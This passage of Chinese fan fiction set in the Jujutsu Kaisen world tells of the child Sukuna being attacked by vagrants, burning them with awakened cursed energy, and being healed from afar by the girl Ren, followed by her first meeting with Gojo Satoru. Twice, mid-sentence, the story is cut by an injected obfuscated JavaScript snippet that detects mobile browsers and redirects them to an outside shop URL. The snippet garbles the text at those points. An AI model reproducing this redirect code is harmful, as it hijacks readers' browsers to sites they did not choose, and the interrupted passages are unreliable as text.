“别胡来!”岩哥毕竟是领头,考虑得多些,“鬼神之事,宁可信其有。万一惹上不该惹的……” “大哥,你就是太小心!”铁熊不耐烦地挥手,“咱们都快饿死了,还管他鬼神?这破庙本来就该是我们的!他占着地方,还不吃不喝吓唬人,留着他才是祸害!我看,干脆一了百了!” 他的话煽动了一部分同样被生存压力和莫名恐惧逼到边缘的人。低声的赞同和狠厉的目光在黑暗中交换。 最终,对现实处境的绝望,压过了对未知鬼神的敬畏。一个共识在沉默中达成:不能再留这个“东西”了。必须清除这个不安的源头,夺回他们眼中“完整”的容身之地。 他们计划在夜深人静、宿傩沉睡时动手。铁熊磨亮了一把生锈的柴刀,其他人也各自找了称手的石块或木棍。篝火被刻意压暗,只余微光。他们像一群在黑暗中潜行的鬣狗,屏住呼吸,从四面八方,缓缓围向角落那团蜷缩的、毫无声息的阴影。 宿傩其实并未沉睡。长期的流浪和警惕,让他即使在“妖怪”的温暖偶尔降临、带来一丝松懈时,也保持着最低限度的感知。那些压低嗓音的争论,那些充满恶意的目光,那些金属和石块摩擦的细微声响,早已像冰针一样刺入他的意识。 他闭着眼,身体因为寒冷和虚弱而微微颤抖,但四只眼睛在眼皮下无声地转动。要逃吗?外面是更冷的夜,而且他体力不济,未必跑得过这些成年人。战斗?以一敌多,且手无寸铁,无异于以卵击石。 绝望吗?有一点。但更多的是一种冰冷的、近乎麻木的嘲弄。看,这就是人类。即使沦落到同样的泥沼,最先想的,也是铲除身边那个看起来更弱、更“异类”的个体,通过这种践踏来确认自己尚存的、可怜的“力量”和“正常”。 他能感觉到包围圈在缩小,能闻到那些人身上散发的汗臭、饥馑和杀意混合的气味。 宿傩没有动,只是将身体蜷缩得更紧,手指无意识地扣紧了身下冰冷的泥土,脑海中闪过那个“女童妖怪”模糊的絮语,那些关于“坏哥哥”的抱怨,那些幼稚的眼泪……比起眼前这群即将施暴的“同类”,那个看不见的、软弱的“妖怪”,似乎都显得不那么讨厌了。 至少,“它”给予的是食物和温暖,而非柴刀和石块。 --- 禅院家,清晨。 道场里寒气森森,即便燃着炭盆,也无法完全驱散冬日清晨特有的清冷。 怜已经在这里站了快一个时辰了,她穿着合身的黑色练功服,墨黑的长发被高高束起,露出一张因为寒冷和用力而微微发白的小脸。浅草绿的眸子紧紧盯着前方虚空,双手握着一柄比她身高短不了多少的竹刀,一次又一次地,朝着空气挥出。 “嘿!”“哈!” 稚嫩的呼喝声在空旷的道场里回荡,带着不符合年龄的认真,却也掩不住力竭的颤抖。汗水早已浸湿了她的额发和后背,手臂酸麻得几乎抬不起来,虎口被粗糙的竹刀磨得发红。 她没有继承祖传的投射咒法,这在禅院家几乎等同于“半废”。但这并不意味着她可以免除训练。相反,为了不彻底沦为家族的“耻辱”,她被要求在其他方面付出加倍的努力。新阴流的剑术,便是父亲为她指定的、一条更为艰苦却也看似更“正统”的出路。 每天五千次挥刀,是雷打不动的任务量。对于一个四岁的女童而言,这近乎残酷。但她不敢抱怨,也不能停下。严厉的剑术老师,一个面无表情的中年武士,如同铁塔般矗立在道场边缘,目光如鹰隼,随时准备呵斥任何一点懈怠。 “1998、1999、2000……”怜在心中默默计数,每一下挥砍都仿佛要抽干她最后一点力气。竹刀破开空气的声音,混合着她粗重的喘息和越来越快的心跳。眼前阵阵发黑,但她咬着牙,脑海里只有一个念头:快点做完,快点回去。 回去看“小粉红”。 这是她给那个四手娃娃取的名字,因为它的头发是粉色的。虽然父亲在亲自检视过娃娃,确认它没有任何咒力波动、无法驱动、似乎只是个精巧却无用的“过家家”玩具后,便彻底失去了兴趣,并严厉禁止她将这种“秽物”带到道场或其他正式场合,但怜的房间里,它依然是她最珍贵的秘密和陪伴。 为了能早点回去抱着“小粉红”,跟它说话,给它“喂”点心,或者只是静静地看着它,怜总是拼尽全力完成这每日五千次的酷刑。那间狭小却属于她自己的房间,和房间里那个安静的、不会嘲笑她、不会漠视她的娃娃,是她在这个冰冷家族里唯一的慰藉和喘息之地。 挥刀,继续挥刀。数字艰难地向上爬升。 然而,就在她数到三千多下,手臂已经麻木到几乎失去知觉时,一种极其突兀的、尖锐的恐慌感,毫无征兆地攫住了她的心脏! 像是一根冰锥猛地刺入胸口,又像是一盆冰水从头浇下。她浑身剧烈一颤,手中的竹刀“哐当”一声脱手,掉落在光洁的木地板上。 “怜!你在做什么?!”剑术老师严厉的呵斥立刻响起,“捡起来!继续!” 但怜仿佛听不见了。她脸色惨白,浅草绿的瞳孔因为惊骇而放大,目光失焦地望向道场门外——那是她房间的方向。一种无法言喻的、撕心裂肺的“痛楚”和“呼唤”,仿佛跨越了空间,直接撞击在她的灵魂上!是“小粉红”!它出事了!它很痛!它在……流血?! 这个认知让她瞬间魂飞魄散。她甚至来不及思考这感觉从何而来,为何如此清晰剧烈。 “老师……我、我… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17147161|196400||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …”她语无伦次,转身就想往道场外跑。 “站住!”老师厉喝,上前一步挡住她的去路,“训练尚未结束!你想忤逆家主之命吗?!” 平日的怜绝对不敢反抗。但此刻,那股锥心刺骨的恐慌和冥冥中的牵引压倒了一切。她看着老师严厉的脸,不知从哪里涌出一股巨大的勇气,她猛地低头,从老师身侧的空隙钻了过去! “怜!”老师的怒吼在身后响起。 但她已经什么都顾不上了。她用尽全身残存的力气,迈开酸软发抖的双腿,朝着自己房间的方向,跌跌撞撞地狂奔!心脏在胸腔里狂跳,撞得肋骨生疼,冷风灌入喉咙,带来灼烧般的痛感,但她不敢停。走廊、庭院、回廊……熟悉的景物在眼前飞速倒退,模糊成一片。 终于,她冲到了自己的房门前,颤抖着手,猛地拉开! 房间里的景象,让她如遭雷击,瞬间僵在原地,浑身的血液似乎都冻结了。 矮几旁,她平日里放置娃娃的软垫上,那个她亲手缝制了靛蓝色小棉袄、取名为“小粉红”的四手娃娃,正静静地躺在那里。 然而,娃娃身下,却洇开了一大片刺目惊心的、暗红色的“血迹”!那血量多到恐怖,几乎将整个软垫和周围的木地板都染红了,浓稠的暗红色还在缓缓地、无声地向外蔓延,仿佛娃娃体内所有的“血液”都在这一刻奔涌而出!娃娃的“身体”以一种不自然的姿势歪斜着,小棉袄上也被染红了大片,四只猩红的眼睛依旧紧闭,却仿佛失去了所有生气。 “小粉红——!!!” 一声凄厉到破音的尖叫,从怜的喉咙里迸发出来。她扑了过去,双腿一软,直接跪倒在血泊边缘,浅草绿的眸子里瞬间蓄满了滚烫的泪水,大颗大颗地砸落,混合进那片骇人的暗红之中。她伸出手,想要去触碰娃娃,却又不敢,手指悬在半空,剧烈地颤抖着。 --- 废弃神社的角落,冰冷的杀意已经凝结成了实质。 铁熊高举着生锈的柴刀,狞笑着,第一个扑了上来!刀锋在微弱的篝火余光中,划过一道暗淡却致命的弧线,朝着宿傩蜷缩的身体狠狠劈下! 与此同时,其他几个流浪汉也挥舞着石块和木棍,从侧面和后方砸向宿傩瘦小的身体! 避无可避。 宿傩在最后一刹那猛地向侧面翻滚,柴刀擦着他的肩膀落下,带走一片皮肉和破烂的布料,鲜血飞溅!紧接着,沉重的木棍砸在他的后背、打断了他的小腿骨,疼痛如同电流般窜遍全身! 他闷哼一声,试图用四只手臂格挡,但力量差距悬殊,更多的打击如同雨点般落下。骨头碎裂的声音隐约可闻,温热的血液从他口鼻、从各处伤口涌出,迅速浸透了身下的枯草和泥土。 视野被血色和疼痛模糊,耳中嗡鸣一片。那些狰狞的面孔,高举的凶器,混杂着疯狂的叫骂和沉重的喘息,构成一幅地狱般的图景。死亡的气息,从未如此贴近。 就在他意识即将被黑暗彻底吞噬,连那点惯常的、冰冷的恨意都开始涣散时—— 一声凄厉无比、充满了极致恐慌与痛楚的尖叫,如同撕裂夜空的闪电,陡然刺穿了他模糊的听觉,直接炸响在脑海深处! “小粉红——!!!” 那声音……是那个“女童妖怪”! 宿傩涣散的瞳孔猛地收缩了一下。这呼喊声如此清晰,如此真实,如此……撕心裂肺。甚至比之前任何一次模糊的絮语都要清晰百倍! ‘我不叫小粉红……’ 他在心里,用尽最后一丝气力,无声地、倔强地反驳,‘真难听的名字……’ ‘我叫……宿傩……’ 宿傩。那个收留他几年、最后圆寂的老和尚给他取的名字。 老和尚曾摸着他还算完好的两只手,看着他的四只眼睛,跟他讲过飞驒国传说中的鬼神“两面宿傩”的故事,说那是个既有凶暴一面,也有退治毒龙、守护一方传说的复杂存在。老和尚浑浊的眼睛里带着某种他当时不懂的期许,或许希望他这个同样生而异常的孩子,未来能走上“守护”而非“掠夺”的道路吧。 但寺里其他年轻的僧人可不是这么说的。他们背地里,当着他的面,都说那个“两面宿傩”最终是被正义之士讨伐的凶神,说他掠夺百姓,无恶不作。他们说,老和尚给他取这个名字,本身就是一种讽刺,或者预言——预示着他这个“不祥之子”,终将走向同样的结局。 宿傩自己对这个名字没什么感觉。英雄?他不想当。不祥之子?他似乎也没得选。名字只是个代号,就像“小粉红”一样,难听与否,对他挣扎求存的现状毫无意义。 然而,在这濒死的时刻,在这“女童妖怪”凄厉的呼喊和同步传来的、仿佛灵魂相连的剧痛中,“宿傩”这两个字,却成了他对自己存在最后一点模糊的确认。 他不是“小粉红”。 他是宿傩。 一个或许注定不详,但至少此刻,还在用尽一切力气,试图抓住一线生机的……宿傩。 意识,终于沉入无边的黑暗与剧痛的混沌之中。只有那摊在破神社角落里迅速扩大的、温热的鲜血,和禅院家房间里那同样触目惊心的、浸透了软垫的娃娃“血泊”,无声地诉说着这场跨越时空、诡异同步的劫难。联结的两端,同时陷入了生死未卜的危机。命运的丝线,在这一刻,绷紧到了极限。 7. 宿傩7 看着眼前倒在血泊中、气息微弱、身体因多处致命伤而不断抽搐的畸形幼童,围拢的流浪汉们紧绷的神经终于松弛下来。空气中弥漫的血腥味和死亡气息,反而驱散了他们心中那因未知而起的恐惧。 “切,原来不是妖怪啊。”铁熊啐了一口带血的唾沫,将沾血的柴刀在裤腿上随意蹭了蹭,脸上露出混杂着鄙夷和如释重负的神情,“害老子白担心一场,还以为真遇上什么难缠的鬼东西。” 最初的紧张过后,有人看着那孩子身下迅速扩大的血泊和逐渐失去焦距的四只红眼,心里掠过一丝不安。“我们……是不是杀了个无辜小孩?”那个胆小的年轻人声音发虚,脸色比宿傩好不了多少。 “闭嘴!”岩哥厉声打断他,眼神凶戾地扫过众人,“这世道,连条狗想活下去都得拼命!他一个没爹没娘、人不人鬼不鬼的畸形儿,活着也是受罪!我们这是给他个痛快,早点解脱!” 他的话立刻得到了大多数人的附和。 “岩哥说得对!他自己不吃不喝就够邪门了,留着也是祸害!” “就是,咱们自己都活不下去了,哪还顾得上别人?要怪就怪这该死的世道!” “赶紧处理了吧,看着晦气。” 恐惧一旦消散,剩下的便是纯粹的冷酷和对现实处境的麻木。他们开始七嘴八舌地商量如何处理这具小小的尸体。 “扔到外面林子里埋了算了,省事。” “埋什么埋?这大冷天的,地都冻硬了。直接扔远点,野狗饿狼自然会解决。” 更有人压低声音,眼中闪烁着饥饿带来的、令人胆寒的光:“……要不……留着?听说北边饥荒厉害的时候……”后面的话没说完,但意思不言而喻。极度的匮乏,早已将某些底线践踏得粉碎。 这些议论,如同冰冷的毒蛇,钻进宿傩即将消散的意识里。身体上的剧痛似乎已经麻木,但心灵遭受的践踏和这最后关于“处理”的讨论,却像最后的燃料,投入了他灵魂深处那堆早已被怨恨和绝望浸透的干柴。 无辜?解脱?储备粮? 哈…… 真可笑啊。 冰冷的绝望,最终化为了焚尽一切的、漆黑的恨意! 这股恨意如此纯粹,如此磅礴,甚至冲破了□□的桎梏,引动了某种蛰伏在他血脉深处、从未被知晓的狂暴力量! “嗡——!” 以宿傩濒死的身体为中心,空气骤然扭曲!浓稠如墨、散发着不祥与毁灭气息的黑暗咒力,如同挣脱枷锁的凶兽,轰然从他每一寸伤口、每一个毛孔中喷涌而出!那不再是之前无意识溢散的稀薄黑雾,而是凝实、暴戾、充满了灼热毁灭意志的实质性能量! 最先燃烧起来的,是宿傩自己的身体。暗红色的火焰,仿佛从他流淌的血液中直接点燃,瞬间覆盖了他破烂的衣衫和伤痕累累的皮肤!这火焰并不明亮,反而呈现出一种暗沉的血色,温度却高得骇人,将他周围的空气都炙烤得扭曲变形! “什、什么?!”“着火了?!”“他……他自己烧起来了!” 流浪汉们被这突如其来的诡异景象惊呆了,惊呼声四起。 然而,噩梦才刚刚开始。 那暗红色的火焰仿佛有生命般,顺着流淌的血液和弥漫的黑暗咒力,迅速向四周蔓延!点燃了枯草,引燃了腐朽的梁柱,舔舐着一切可燃之物!火势在咒力的催化下,以违反常理的速度疯狂扩张! “走水了!快跑!”有人反应过来,尖叫着想要冲向神社出口。 但已经晚了。 熊熊烈焰如同血色的幕布,在刹那间接天而起,彻底封死了破败神社的所有出路!高温扭曲视野,浓烟呛入肺管,狂暴的咒力乱流在火场中肆意冲撞,将试图逃窜的人狠狠掀翻,抛回火海! “救命——!”“啊!!我的眼睛!”“岩哥!铁熊!救救我!” 凄厉的惨叫声、皮肉被灼烧的滋滋声、木材爆裂的噼啪声,瞬间取代了之前的冷酷议论,交织成一曲地狱的哀歌。那些刚刚还在商量如何“处理”他的身影,此刻在烈焰中化为了翻滚挣扎的火团,发出濒死的哀嚎。他们的面孔在火光中扭曲、碳化,最终归于无声的焦黑。 宿傩的意识漂浮在剧痛和炽热之上,冷漠地“注视”着这一切。仇恨的火焰焚毁了敌人,也正在吞噬他自己。他能感觉到生命随着血液和火焰一起飞速流逝。后背那道几乎将他劈成两半的巨大伤口,鲜血早已不是流淌,而是近乎喷射状地涌出,带走最后一点体温和力气。 支撑他的,唯有那焚尽一切的恨意。可当周围的惨叫声渐渐微弱,火海中只剩下一具具焦黑的碳状轮廓时,连这恨意仿佛也失去了燃料,开始随着生命的流逝一同溃散。 ‘要死了……’ 这个念头无比清晰。比被野狗咬伤时,比冻僵在雪地里时,都要清晰。 他觉醒的力量,并非用于自救的奇迹,而是拉一切陪葬的毁灭烈焰。这很符合他的预期,不是吗?生于憎恨,死于复仇,连同这片给予他无尽痛苦的土地一起焚烧。 ‘为什么……会有这样的力量?’ 濒死的迷惘中,他想起老和尚讲述的“鬼神”传说,想起僧人们的窃窃私语。‘难道……我真的是……鬼神之子?’ 可那又如何呢?就算是鬼神之子,此刻不也一样要死了吗?带着这刚刚觉醒、却即刻凋零的可笑力量。 --- 禅院家,怜的房间已被一种极度恐慌和悲伤的气氛笼罩。 娃娃身下那摊触目惊心的“血泊”似乎停止了扩大,但依旧染红了大部分软垫和地板,散发着浓重的、令人不安的铁锈味。娃娃本身小小的身体冰冷僵硬,被血浸透的靛蓝色小棉袄紧紧贴在它嶙峋的“躯体”上,四只红眼睛紧紧闭着,了无生气。 怜跪坐在血泊边,浅草绿的眸子哭得红肿,眼泪早已流干,只剩下剧烈的抽噎和无法抑制的颤抖。她尝试了所有她知道的方法——用干净的白布按压“伤口”,想要像之前一样找出需要缝合的地方,但这次的“伤口”太多了,太深了,有些地方甚至“皮开肉绽”,露出了里面更深层的、非人的材质,根本不是她那点笨拙的针线技巧能够处理的。 “小粉红……小粉红你醒醒……不要死……求求你了……”她声音嘶哑,一遍遍呼唤,双手徒劳地在娃娃冰冷的身体上空比划,却不敢真正触碰,仿佛怕一碰就会让它彻底碎裂。 她想起三岁半时,曾在庭院角落救过一只翅膀受伤的雀鸟。她也是这样小心翼翼地给它包扎,喂它水米,把它放在温暖的垫子上。可没过两天,小鸟的身体就从温暖变得冰冷僵硬,再也不会睁眼,不会鸣叫了。那种生命从指缝中流逝、无论如何努力也挽留不住的无力感和悲伤,与此刻如出一辙。 “阿绫姨!阿绫姨!救救它!求求你救救小粉红!”怜如同抓住最后一根稻草,转向门口脸色苍白、同样手足无措的女仆,涕泪横流地哀求。 阿绫看着眼前这诡异又凄惨的一幕,心脏也在狂跳。她不想靠近那个娃娃,发自内心地感到恐惧。但小小姐绝望的哭声和那娃娃身下真实的(至少看起来无比真实)大量“血迹”,又让她无法完全置之不理。她鼓起毕生勇气,颤抖着伸出手,极快地用手指碰了一下娃娃的手臂。 触感冰冷坚硬,如同真正的死物,甚至比寻常玩偶更加缺乏“生气”。 “怜小姐……”阿绫收回手,声音发干,带着不忍,却也只能如实说道,“它……它已经……节哀吧。” “不要——!!!”怜爆发出撕心裂肺的哭喊,猛地扑上前,不顾那满地的“血污”,将冰冷僵硬、血淋淋的娃娃死死搂进怀里,紧紧地、用尽全身力气地抱住,仿佛这样就能将自己的生命和温暖传递过去,就能阻止它彻底冰冷下去。 “不要死……不要离开我……我只有你了……只有你了啊!!!” 极致的悲伤、失去唯一寄托的恐慌、以及那种仿佛再次目睹生命消逝而自己无能为力的巨大痛苦,在她幼小的心灵中汇聚、压缩、最终—— “轰!” 一股纯净的、柔和的、却蕴含着不可思议生机的乳白色光芒,毫无征兆地从怜紧抱着娃娃的双手中爆发出来! 那光芒并不刺眼,却带着温暖抚慰的气息,瞬间将她和怀里的娃娃一同笼罩!光芒流转,如同有生命的暖流,主动渗入娃娃冰冷僵硬的“身体”,所过之处,那骇人的“血迹”如同被净化般迅速消退、淡化!娃娃身上那些狰狞的“伤口”,以肉眼可见的速度弥合、修复!连那件被血浸透的靛蓝色小棉袄,都在光芒中恢复了洁净与柔软! 阿绫被这突如其来的光芒惊得连连后退,撞在门框上,目瞪口呆。 光芒持续了约莫十几个呼吸的时间,才渐渐黯淡、消散。 怜怀中的娃娃,已然焕然一新。血迹消失无踪,伤口全部愈合,小棉袄干净如初,甚至连那四只总是紧闭的猩红复眼,虽然依旧闭着,但原本苍白僵硬的小脸,似乎恢复了一丝几不可察的……“润泽”感?仿佛刚刚只是沉沉睡去,而非经历了可怕的创伤。 怜怔怔地低下头,看着怀中完好无损、甚至感觉比之前更“安宁”了几分的娃娃,又看看自己散发着淡淡暖意、残留着些许乳白光晕的双手,浅草绿的眸子里充满了茫然、震惊,以及劫后余生般巨大的、虚脱的喜悦。 “小粉红……”她喃喃着,将脸埋进娃娃带着浓烈血腥味的脏污小棉袄里,再次呜咽起来,但这次,是喜极而泣。 --- 在幼年宿傩意识即将彻底沉入永恒的冰冷黑暗,连那焚烧自身的火焰都开始因生命力枯竭而摇曳不定时,一股截然不同的、温和而坚韧的暖流,毫无征兆地,从他身体内部最深处涌现! 那不是火焰的灼热,也不是血液的奔流,而是一种清凉又温暖、充满生机的奇异能量。它如同最灵巧无形的丝线,又如春日融化的雪水,悄然流淌过他支离破碎的经脉,抚慰着灼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17147162|196400||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 烧的痛楚,更以一种他无法理解的方式,精准地找到那些最致命的伤口——尤其是背后那道可怕的撕裂伤——开始进行“缝补”。 这种感觉,与他之前体会过的、被无形针线缝合皮肉的触感截然不同。那更像是……在直接“修复”他生命本身流失的“缺口”,锁住那即将涣散消散的“生命力”。伤口依旧存在,剧痛也未完全消失,但血液流失的速度明显减缓了,冰冷僵硬的四肢似乎重新注入了一丝微弱的活力,连那即将熄灭的意识之火,都被这股力量温柔地托住,不再下坠。 有人……在救他? 不,是有“什么”在救他。 是那个“妖怪”?那个声音稚嫩、情感软弱、会给他喂食、会抱怨哥哥、会为故事流泪的……“女童妖怪”? 可她是如何做到的?隔着不知多远的距离,以这种不可思议的方式? 濒死的绝望,与新生的希望;焚尽一切的仇恨烈火,与温柔注入的救命暖流——两种极端激烈、截然相反的情绪与力量,在他濒临崩溃的身心深处,产生了剧烈的、几乎要将他灵魂撕裂的冲撞! 不久前,他还怀着对整个人世的刻骨憎恨,不惜引燃自身也要拖所有欺凌者下地狱。那一刻,他是复仇的恶鬼,是毁灭的化身。 而此刻,一股来自未知存在、不带任何索求(至少目前看来)的拯救之力,却将他从地狱边缘硬生生拉回。这力量如此温柔,如此……“仁慈”。 恨与恩,毁灭与拯救,极致的黑暗与一抹微光……这些无法调和的对立,在他年幼却已饱经沧桑的心灵中疯狂搅动。他无法理解,无法处理,更无法保持某种恒定平淡的情绪。 剧烈的情绪起伏,如同风暴中的海面,颠覆了他对世界本就扭曲的认知。人类的恶意如此直观而暴烈,而“非人”的援手却又如此诡异而温暖……对比太过鲜明,冲击太过强烈。 或许……他真的不属于“人类”那边? 这个念头,如同最后一根稻草,轻轻落下,却压垮了某种摇摇欲坠的界限。 --- 那天之后,禅院家发生了一件不大不小的“奇闻”。 那个一直被嫡子直哉的光芒所掩盖、被认为术式“无用”、几乎毫无存在感的嫡女怜,竟然在四岁稚龄,觉醒了一种极其罕见且珍贵的术式——反转术式。 尽管她首次使用,似乎只是“修复”了一个没有生命的古怪娃娃,但那股纯净的生命能量做不了假。家主直毘人亲自查验后,虽对那娃娃依旧不喜,却也无法否认女儿身上显现出的、令人惊异的潜能。 四岁觉醒反转术式,即便在能人辈出的咒术世家,也称得上是某种意义上的“天才”了。一直笼罩在怜身上的“废柴”阴云,似乎被这道乳白色的光芒撕开了一道缝隙,让她终于得到了旁人(尽管可能带着审视、怀疑或复杂算计)的、半寸稍显认真的目光。 当然,由于年幼且情绪剧烈波动下初次觉醒,怜在之后的几个月里,都未能再次成功施展出反转术式。家族尝试让她治疗一些受伤的小动物或轻微的皮肉伤,也均告失败。这能力似乎极不稳定,且目前看来,或许只能作用于那个与她有着神秘联系的娃娃身上。能否应用于活人,仍是未知数。 但无论如何,“反转术式”这四个字,已经像一枚悄然落下的棋子,改写了禅院怜在家族棋盘上原本注定边缘化的位置,也为她未来的命运,投下了一道莫测的光影。 而在遥远的、时空彼端的平安京废墟之中,重获新生的宿傩,缓缓从焦黑的地面上撑起了身体。暗红色的火焰早已熄灭,只余满目疮痍和数具焦尸。他身上的伤口虽然依旧疼痛,但已不再致命,生命力被那股奇异温暖的力量牢牢锁住。 他低头看了看自己依旧染血却不再有新血液渗出的双手,又抬头望向虚空,四只猩红的眼眸中,翻涌着剧烈情绪风暴后残留的、复杂难明的幽光。 恨,依旧在骨髓里燃烧。 但一种前所未有的、微妙的“感知”,也悄然生根。 他知道,在某个看不见的地方,有“什么”存在着。 那个存在,会为他的痛苦而哭泣,会为拯救他而竭尽全力。 这份认知,与他心中滔天的恨意激烈冲撞,最终沉淀为一种更为混沌、也更加偏执的底色。 从这一刻起,名为“宿傩”的存在,彻底割裂了与“人类”的认同。他不再将自己视作他们中的一员。人类给予他无尽的恶意与践踏,而那个“非人”的、稚嫩柔软的存在,却给予了恨火中唯一的救赎与暖意。 强烈的对比,极端的情绪,无法调和的矛盾……这一切,共同塑造了他日后随心所欲、喜怒无常、视人类如草芥却又对某个特定存在抱有扭曲执念的复杂性格雏形。 世界的恶意与唯一的微光,同时刻入了他的灵魂。而这条由恨与恩交织而成的、通往未来“鬼神”宝座的道路,在这一场血与火的劫难之后,终于清晰地展现在他脚下。 8. 宿傩8 早春的高山之上,寒意未褪,残雪如同斑驳的旧絮,点缀在墨绿色的山岩与苍劲的古松之间。清澈的融雪溪流在石缝间泠泠作响,带着冰雪初融的清冽气息,蜿蜒而下。空气干净冷冽,吸入口鼻,有种洗涤肺腑的凛冽感。 山道旁一处较为开阔的平台上,两个小小的身影,隔着几步远的距离,静默对峙。背景是巍峨雪峰与湛蓝得近乎不真实的天空。 禅院怜今天穿着一身正式的访问服,浅樱色打褂上绣着精致的藤花暗纹,墨黑的长发被精心梳成高岛田发型,露出一张被山风吹得有些发白的小脸。她双手拘谨地交叠在身前,浅草绿的眸子微微垂着,目光却忍不住飘向对面那个身影。 五条悟。 即使才五岁多的稚嫩年纪,只要他站在那里,便自成一片领域。一身白底、以蓝丝线绣着蜻蜓纹样的精致和服,衬得他本就比常人更白皙的肤色近乎透明。素白的短发在微风中纹丝不乱,那双传说中的“六眼”——天空般广阔纯粹的苍蓝眼眸,此刻正没什么情绪地、平静地落在她身上。那目光太干净,也太遥远,仿佛倒映着天空,却映不出尘世任何细微的悲喜。 一位穿着黑色羽织、面容肃穆的年长管家静立在他侧后方半步,手中撑着一柄朱红色的油纸伞,伞面倾斜,恰到好处地为神子挡住了过于强烈的山巅天光,也为他周身笼罩上一层淡淡的、近乎神圣的晕影。白、蓝、红,在这片以灰白与翠为主调的早春山景中,构成了一幅极具冲击力又带着非人美感的画面。 怜从未见过这样的人。兄长直哉的傲慢是外放的、带着攻击性的,像一把出鞘的刀;父亲的严厉是沉重的、带着威压的,像一座山。而眼前这个男孩……他的“存在”本身,就仿佛与周围的一切隔着一层看不见的、剔透却坚不可摧的冰壁。 那不是刻意表现出来的高傲,而是一种源于本质的、近乎天经地义的“不同”。 五条悟的视线在她身上停留了几秒,那目光平静得没有丝毫波澜,像是在评估一件物品的成色,又像只是单纯地“看见”了这么一个存在。然后,他开口了,声音是孩童的清越,语调却平淡得如同陈述今日无雪。 “咒力……微弱到几乎感觉不到。”他微微偏了偏头,天空蓝的眸子眨了眨,里面清晰地映出怜有些局促不安的样子,“真不明白,家族为什么会选你做我的妻子。” 他顿了顿,似乎在思考一个极其简单却困扰他的问题,继续道:“神之子的妻,不应该也是某种意义上的……‘神明’吗?” 没有嘲讽,没有鄙夷,甚至没有好奇。只是一种纯粹的、基于他自身逻辑的、理所应当的疑问。仿佛“神子”与“凡人”的结合,就像让飞鸟与游鱼共居一巢般荒谬且不可理解。 这番话,如同最锋利的冰锥,瞬间刺穿了怜所有勉力维持的镇定。 直哉的嘲笑会让她委屈流泪,父亲的漠视会让她惶恐不安,周围人的轻蔑会让她自卑退缩。但那些,至少还建立在“她是人”的前提上。他们是在否定她的能力、她的价值、她的存在意义,但他们承认她作为“禅院怜”是作为“人”而存在的。 而五条悟的视线和话语,带来的是一种更加彻底的否定。那是一种……居高临下的、跨越了物种层级的漠视。就像人类行走时,不会去在意脚下某只蚂蚁是否强壮、是否漂亮、是否有其独特的“蚁生价值”。它存在,或不存于,于行走的人类而言,并无本质区别。 在这双天空般湛蓝、却也天空般空旷无物的眼睛里,她似乎感觉不到自己作为“生物”的实感,更遑论“对等的人”或“未来的妻子”。她仿佛成了一块路边的石头,一株覆雪的枯草,背景里无关紧要的一个色块。 这种“不被看见”的感觉,比任何具体的恶意都更令人窒息,更让灵魂深处泛起冰冷的恐惧。 怜的脸色瞬间变得更加苍白,嘴唇微微颤抖。但这一次,她没有像往常那样立刻涌出眼泪。巨大的、超越了她年龄理解范围的荒谬感和某种被彻底“物化”的冰冷,反而暂时冻结了她的泪腺。 她抬起头,浅草绿的眸子直直地望向那双苍蓝的“六眼”,里面翻涌着复杂的情绪——难堪、愤怒、委屈,还有一种连她自己都未完全理解的、被冒犯的尊严感。 “又不是我想要嫁给你的!”她的声音因为激动而拔高,带着孩童的尖细,在山风里显得有些破碎,“我才四岁半!” 她甚至用一种自己都不太明白、但本能觉得“就应该这样”的眼神,狠狠地瞪了五条悟一眼。那眼神里混杂着控诉、嫌弃和一种“你这个人怎么回事”的意味,硬要形容的话,大概近似于后世所谓的“看渣男的眼神”,尽管此刻的怜和五条悟,都还远未理解“渣男”为何物。 五条悟似乎微微怔了一下。 那双总是映照着广阔天空的苍蓝眼眸里,极快地掠过一丝极其微弱的、类似于“被反驳了?”或者“这反应有点奇怪?”的涟漪。他能“看”到眼前这个女孩咒力的微弱,能看到她身体因为紧张和寒冷而细微颤抖,也能“看”到她此刻眼中激烈却混乱的情绪波动。和他见过的、那些或是敬畏谄媚、或是恐惧退缩、或是带着功利性讨好的眼神都不同。 有点……别扭。 但他并未对此产生更多的兴趣或探究欲。那点细微的涟漪很快平息,天空恢复了一贯的澄澈与空旷。他不再看怜,微微侧头,对身后的管家简短吩咐:“走了。” 管家无声地颔首,手中的红伞随着五条悟转身的动作而平稳移动,始终将他笼罩在那片神圣又疏离的红色光晕下。两人一前一后,继续沿着被残雪半掩的山道,向更高、更冷的山顶走去。管家配合着五条悟的步伐,姿态恭敬而沉默,仿佛只是神子行走人间时,一个不可或缺的、会移动的背景。 怜站在原地,望着那一白一黑、一伞二人的身影逐渐远去,融入山岩与雪光的背景中。寒风卷起她樱色打褂的下摆,带来刺骨的冷意。 山顶……那里什么建筑都没有,据说只是视野极好,能俯瞰大半山脉。去那里,纯粹是那位神子个人的兴趣。 而她该去的,是半山腰那处隐约可见屋檐的、雅致昂贵的怀石料理顶级餐厅。父亲、五条家的长老、还有其他相关的大人们,此刻应该正在那里,商议着那些决定她未来的、冰冷而宏大的事情。 犹豫只在心底停留了一瞬。她没有跟上去。 一方面,她觉得没意思。山顶的风一定更冷,景色再美,对着那样一个“非人”的存在,又有什么可看的?另一方面,一种更现实的恐惧攫住了她——她必须快点回到父亲身边。擅自离开,或者让五条家的神子觉得被“纠缠”或“打扰”,都会让父亲觉得丢脸,进而对她更加不满。 